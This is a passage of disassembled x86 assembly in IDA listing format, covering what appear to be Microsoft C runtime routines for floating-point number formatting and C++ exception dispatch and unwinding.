loc_421945 loc_421951: ; CODE XREF: sub_421935+Ej ; sub_421935+12j mov cl, [eax] inc eax test cl, cl jz short locret_421982 loc_421958: ; CODE XREF: sub_421935+34j mov cl, [eax] test cl, cl jz short loc_42196B cmp cl, 65h jz short loc_42196B cmp cl, 45h jz short loc_42196B inc eax jmp short loc_421958 ; --------------------------------------------------------------------------- loc_42196B: ; CODE XREF: sub_421935+27j ; sub_421935+2Cj ... mov ecx, eax loc_42196D: ; CODE XREF: sub_421935+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_42196D cmp [eax], dl jnz short loc_421978 dec eax loc_421978: ; CODE XREF: sub_421935+40j ; sub_421935+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_421978 locret_421982: ; CODE XREF: sub_421935+21j retn sub_421935 endp ; =============== S U B R O U T I N E ======================================= sub_421983 proc near ; DATA XREF: sub_41C760+28o ; ___:off_43C8B0o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_427880 fnstsw ax sahf jb short loc_421998 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_421998: ; CODE XREF: sub_421983+Fj xor eax, eax retn sub_421983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42199B proc near ; CODE XREF: sub_420510+430p ; DATA XREF: sub_41C760+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_4219C4 lea eax, [ebp+var_8] push eax call sub_424518 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_4219C4: ; CODE XREF: sub_42199B+Cj lea eax, [ebp+arg_8] push eax call sub_424545 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_42199B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219D9 proc near ; CODE XREF: sub_421C56+17p ; sub_421CA0+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4DB310, 0 push ebx push esi jz short loc_421A0E mov ebx, [ebp+arg_8] mov eax, dword_4DB30C xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_421CF1 pop ecx pop ecx jmp short loc_421A46 ; --------------------------------------------------------------------------- loc_421A0E: ; CODE XREF: sub_4219D9+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_4245E9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424572 add esp, 14h loc_421A46: ; CODE XREF: sub_4219D9+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_421A52 mov byte ptr [eax], 2Dh inc eax loc_421A52: ; CODE XREF: sub_4219D9+73j test ebx, ebx jle short loc_421A6A mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43C508 mov eax, edi pop edi mov [eax], cl loc_421A6A: ; CODE XREF: sub_4219D9+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4DB310, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41BEB0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_421A91 mov byte ptr [ecx], 45h loc_421A91: ; CODE XREF: sub_4219D9+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_421AD6 mov ebx, [esi+4] dec ebx jns short loc_421AA5 neg ebx mov byte ptr [ecx], 2Dh loc_421AA5: ; CODE XREF: sub_4219D9+C5j inc ecx cmp ebx, 64h jl short loc_421ABC mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421ABC: ; CODE XREF: sub_4219D9+D0j inc ecx cmp ebx, 0Ah jl short loc_421AD3 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421AD3: ; CODE XREF: sub_4219D9+E7j add [ecx+1], bl loc_421AD6: ; CODE XREF: sub_4219D9+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_4219D9 endp ; =============== S U B R O U T I N E ======================================= sub_421ADD proc near ; CODE XREF: sub_421C7D+13p ; sub_421CA0+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4DB310, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_421B18 mov eax, dword_4DB314 mov ebx, [esp+10h+arg_8] mov esi, dword_4DB30C cmp eax, ebx jnz short loc_421B48 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_421B48 ; --------------------------------------------------------------------------- loc_421B18: ; CODE XREF: sub_421ADD+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_4245E9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424572 add esp, 14h loc_421B48: ; CODE XREF: sub_421ADD+22j ; sub_421ADD+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_421B56 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_421B56: ; CODE XREF: sub_421ADD+70j mov eax, [esi+4] test eax, eax jg short loc_421B6D push 1 push edi call sub_421CF1 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_421B6F ; --------------------------------------------------------------------------- loc_421B6D: ; CODE XREF: sub_421ADD+7Ej add edi, eax loc_421B6F: ; CODE XREF: sub_421ADD+8Ej test ebx, ebx jle short loc_421BB4 push 1 push edi call sub_421CF1 mov al, byte_43C508 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_421BB4 cmp byte_4DB310, 0 jz short loc_421B99 neg esi jmp short loc_421B9F ; --------------------------------------------------------------------------- loc_421B99: ; CODE XREF: sub_421ADD+B6j neg esi cmp ebx, esi jl short loc_421BA1 loc_421B9F: ; CODE XREF: sub_421ADD+BAj mov ebx, esi loc_421BA1: ; CODE XREF: sub_421ADD+C0j push ebx push edi call sub_421CF1 push ebx push 30h push edi call sub_41B590 add esp, 14h loc_421BB4: ; CODE XREF: sub_421ADD+94j ; sub_421ADD+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_421ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BBB proc near ; CODE XREF: sub_421CA0+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_4245E9 mov dword_4DB30C, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4DB314, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424572 mov eax, dword_4DB30C add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4DB314, ecx setl cl mov byte_4DB318, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4DB314, eax jl short loc_421C41 cmp eax, ebx jge short loc_421C41 test cl, cl jz short loc_421C32 loc_421C28: ; CODE XREF: sub_421BBB+72j mov al, [esi] inc esi test al, al jnz short loc_421C28 and [esi-2], al loc_421C32: ; CODE XREF: sub_421BBB+6Bj push ebx push [ebp+arg_4] push edi call sub_421C7D add esp, 0Ch jmp short loc_421C51 ; --------------------------------------------------------------------------- loc_421C41: ; CODE XREF: sub_421BBB+63j ; sub_421BBB+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_421C56 add esp, 10h loc_421C51: ; CODE XREF: sub_421BBB+84j pop edi pop esi pop ebx pop ebp retn sub_421BBB endp ; =============== S U B R O U T I N E ======================================= sub_421C56 proc near ; CODE XREF: sub_421BBB+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4DB310, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4219D9 and byte_4DB310, 0 add esp, 10h retn sub_421C56 endp ; =============== S U B R O U T I N E ======================================= sub_421C7D proc near ; CODE XREF: sub_421BBB+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4DB310, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_421ADD and byte_4DB310, 0 add esp, 0Ch retn sub_421C7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421CA0 proc near ; CODE XREF: sub_41F69F+3AAp ; DATA XREF: sub_41C760o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_421CDB cmp [ebp+arg_8], 45h jz short loc_421CDB cmp [ebp+arg_8], 66h jnz short loc_421CC8 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421ADD add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_421CC8: ; CODE XREF: sub_421CA0+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421BBB jmp short loc_421CEC ; --------------------------------------------------------------------------- loc_421CDB: ; CODE XREF: sub_421CA0+7j ; sub_421CA0+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4219D9 loc_421CEC: ; CODE XREF: sub_421CA0+39j add esp, 10h pop ebp retn sub_421CA0 endp ; =============== S U B R O U T I N E ======================================= sub_421CF1 proc near ; CODE XREF: sub_4219D9+2Cp ; sub_421ADD+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_421D14 push esi mov esi, [esp+8+arg_0] push esi call sub_41AFE0 inc eax push eax push esi add esi, edi push esi call sub_41CC90 add esp, 10h pop esi loc_421D14: ; CODE XREF: sub_421CF1+7j pop edi retn sub_421CF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421D16 proc near ; CODE XREF: ___:0041C940p ; sub_41C9A9+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_421D2C call sub_4225B2 loc_421D2C: ; CODE XREF: sub_421D16+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_421D54 cmp dword ptr [esi+4], 0 jz short loc_421DAA cmp [ebp+arg_14], 0 jnz short loc_421DAA push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_42205D add esp, 10h jmp short loc_421DAA ; --------------------------------------------------------------------------- loc_421D54: ; CODE XREF: sub_421D16+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_421DAA cmp dword ptr [eax], 0E06D7363h jnz short loc_421D8E cmp [eax+14h], edi jbe short loc_421D8E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_421D8E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_421DAD ; --------------------------------------------------------------------------- loc_421D8E: ; CODE XREF: sub_421D16+4Aj ; sub_421D16+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_421DB1 add esp, 20h loc_421DAA: ; CODE XREF: sub_421D16+23j ; sub_421D16+29j ... push 1 pop eax loc_421DAD: ; CODE XREF: sub_421D16+76j pop edi pop esi pop ebp retn sub_421D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421DB1 proc near ; CODE XREF: sub_421D16+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_421DD1 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_421DD6 loc_421DD1: ; CODE XREF: sub_421DB1+16j call sub_4225B2 loc_421DD6: ; CODE XREF: sub_421DB1+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A mov esi, dword_4DB31C test esi, esi jz loc_421F28 mov eax, dword_4DB320 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424770 pop ecx test eax, eax pop ecx jnz short loc_421E2C call sub_4225B2 loc_421E2C: ; CODE XREF: sub_421DB1+74j cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A call sub_4225B2 loc_421E4A: ; CODE XREF: sub_421DB1+41j ; sub_421DB1+46j ... cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz loc_421F2D cmp [esi+14h], edi jnz loc_421F2D mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov ebx, eax loc_421E81: ; CODE XREF: sub_421DB1+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_421F18 cmp [ebx], edi jg short loc_421F0D cmp edi, [ebx+4] jg short loc_421F0D mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_421F0A loc_421EA6: ; CODE XREF: sub_421DB1+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_421ED7 loc_421EB8: ; CODE XREF: sub_421DB1+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_422000 add esp, 0Ch test eax, eax jnz short loc_421EE6 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_421EB8 loc_421ED7: ; CODE XREF: sub_421DB1+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_421EA6 jmp short loc_421F0A ; --------------------------------------------------------------------------- loc_421EE6: ; CODE XREF: sub_421DB1+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421F0A: ; CODE XREF: sub_421DB1+F3j ; sub_421DB1+133j mov edi, [ebp+var_10] loc_421F0D: ; CODE XREF: sub_421DB1+DEj ; sub_421DB1+E3j inc [ebp+var_4] add ebx, 14h jmp loc_421E81 ; --------------------------------------------------------------------------- loc_421F18: ; CODE XREF: sub_421DB1+D6j cmp [ebp+arg_14], 0 jz short loc_421F28 push 1 push esi call sub_422486 pop ecx pop ecx loc_421F28: ; CODE XREF: sub_421DB1+56j ; sub_421DB1+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421F2D: ; CODE XREF: sub_421DB1+37j ; sub_421DB1+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_421F53 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_421F58 add esp, 20h jmp short loc_421F28 ; --------------------------------------------------------------------------- loc_421F53: ; CODE XREF: sub_421DB1+180j jmp sub_42255C sub_421DB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F58 proc near ; CODE XREF: sub_421DB1+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4DB324, 0 push esi push edi jz short loc_421F89 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41C9CE add esp, 1Ch test eax, eax jnz short loc_421FFC loc_421F89: ; CODE XREF: sub_421F58+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov esi, eax loc_421FA5: ; CODE XREF: sub_421F58+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_421FFC cmp edi, [esi] jl short loc_421FF4 cmp edi, [esi+4] jg short loc_421FF4 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_421FCE cmp byte ptr [ecx+8], 0 jnz short loc_421FF4 loc_421FCE: ; CODE XREF: sub_421F58+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421FF4: ; CODE XREF: sub_421F58+57j ; sub_421F58+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_421FA5 ; --------------------------------------------------------------------------- loc_421FFC: ; CODE XREF: sub_421F58+2Fj ; sub_421F58+53j pop edi pop esi leave retn sub_421F58 endp ; =============== S U B R O U T I N E ======================================= sub_422000 proc near ; CODE XREF: sub_421DB1+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_422057 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_422057 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_422031 add ecx, 8 push ecx push edx call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_422053 loc_422031: ; CODE XREF: sub_422000+1Fj test byte ptr [esi], 2 jz short loc_42203B test byte ptr [edi], 8 jz short loc_422053 loc_42203B: ; CODE XREF: sub_422000+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_42204A test byte ptr [edi], 1 jz short loc_422053 loc_42204A: ; CODE XREF: sub_422000+43j test al, 2 jz short loc_422057 test byte ptr [edi], 2 jnz short loc_422057 loc_422053: ; CODE XREF: sub_422000+2Fj ; sub_422000+39j ... xor eax, eax jmp short loc_42205A ; --------------------------------------------------------------------------- loc_422057: ; CODE XREF: sub_422000+Bj ; sub_422000+14j ... push 1 pop eax loc_42205A: ; CODE XREF: sub_422000+55j pop edi pop esi retn sub_422000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42205D proc near ; CODE XREF: sub_421D16+34p ; ___:00422153p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278C8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_42208F: ; CODE XREF: sub_42205D+8Aj cmp esi, [ebp+arg_C] jz short loc_4220E9 cmp esi, 0FFFFFFFFh jle short loc_42209E cmp esi, [edi+4] jl short loc_4220A3 loc_42209E: ; CODE XREF: sub_42205D+3Aj call sub_4225B2 loc_4220A3: ; CODE XREF: sub_42205D+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_4220BE push 103h push ebx push eax call sub_422510 loc_4220BE: ; CODE XREF: sub_42205D+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_4220DE ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_4220FB pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_4220DE: ; CODE XREF: sub_42205D+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_42208F ; --------------------------------------------------------------------------- loc_4220E9: ; CODE XREF: sub_42205D+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42205D endp ; =============== S U B R O U T I N E ======================================= sub_4220FB proc near ; CODE XREF: sub_42205D+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_42210C xor eax, eax retn ; --------------------------------------------------------------------------- loc_42210C: ; CODE XREF: sub_4220FB+Cj jmp sub_42255C sub_4220FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_422111 proc near ; CODE XREF: sub_421DB1+151p ; sub_421F58+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_422133 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_4222C2 add esp, 10h loc_422133: ; CODE XREF: sub_422111+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_42213F push edi jmp short loc_422142 ; --------------------------------------------------------------------------- loc_42213F: ; CODE XREF: sub_422111+29j push [ebp+arg_24] loc_422142: ; CODE XREF: sub_422111+2Cj call sub_41C8D0 sub_422111 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_42205D mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_42218C add esp, 2Ch test eax, eax jz short loc_422187 push edi push eax call sub_41C88E loc_422187: ; CODE XREF: ___:0042217Ej pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42218C proc near ; CODE XREF: ___:00422174p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4DB31C mov [ebp+var_1C], ecx mov ecx, dword_4DB320 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4DB31C, edi mov ecx, [ebp+arg_8] mov dword_4DB320, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41C955 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422252 mov eax, [ebp+var_2C] loc_422219: ; CODE XREF: sub_422232+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42218C endp ; =============== S U B R O U T I N E ======================================= sub_422228 proc near ; DATA XREF: ___:004278E8o push dword ptr [ebp-14h] call sub_422298 pop ecx retn sub_422228 endp ; =============== S U B R O U T I N E ======================================= sub_422232 proc near ; DATA XREF: ___:004278ECo mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41CBB6 pop ecx pop ecx xor eax, eax jmp short loc_422219 sub_422232 endp ; --------------------------------------------------------------------------- loc_42224A: ; DATA XREF: ___:004278E0o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422252 proc near ; CODE XREF: sub_42218C+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4DB31C, eax mov eax, [ebp-20h] mov dword_4DB320, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_422297 cmp dword ptr [edi+10h], 3 jnz short locret_422297 cmp dword ptr [edi+14h], 19930520h jnz short locret_422297 cmp [ebp-24h], ebx jnz short locret_422297 cmp [ebp-2Ch], ebx jz short locret_422297 call sub_41CC1E push eax push edi call sub_422486 pop ecx pop ecx locret_422297: ; CODE XREF: sub_422252+1Cj ; sub_422252+22j ... retn sub_422252 endp ; =============== S U B R O U T I N E ======================================= sub_422298 proc near ; CODE XREF: sub_422228+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_4222BF cmp dword ptr [eax+10h], 3 jnz short loc_4222BF cmp dword ptr [eax+14h], 19930520h jnz short loc_4222BF cmp dword ptr [eax+1Ch], 0 jnz short loc_4222BF push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4222BF: ; CODE XREF: sub_422298+Cj ; sub_422298+12j ... xor eax, eax retn sub_422298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4222C2 proc near ; CODE XREF: sub_422111+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278F0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_42246B cmp byte ptr [eax+8], 0 jz loc_42246B mov eax, [ecx+8] test eax, eax jz loc_42246B mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_42235F mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422350: ; CODE XREF: sub_4222C2+F5j push eax call sub_4224ED pop ecx pop ecx mov [edi], eax jmp loc_422467 ; --------------------------------------------------------------------------- loc_42235F: ; CODE XREF: sub_4222C2+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_4223B9 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 push dword ptr [esi+14h] push dword ptr 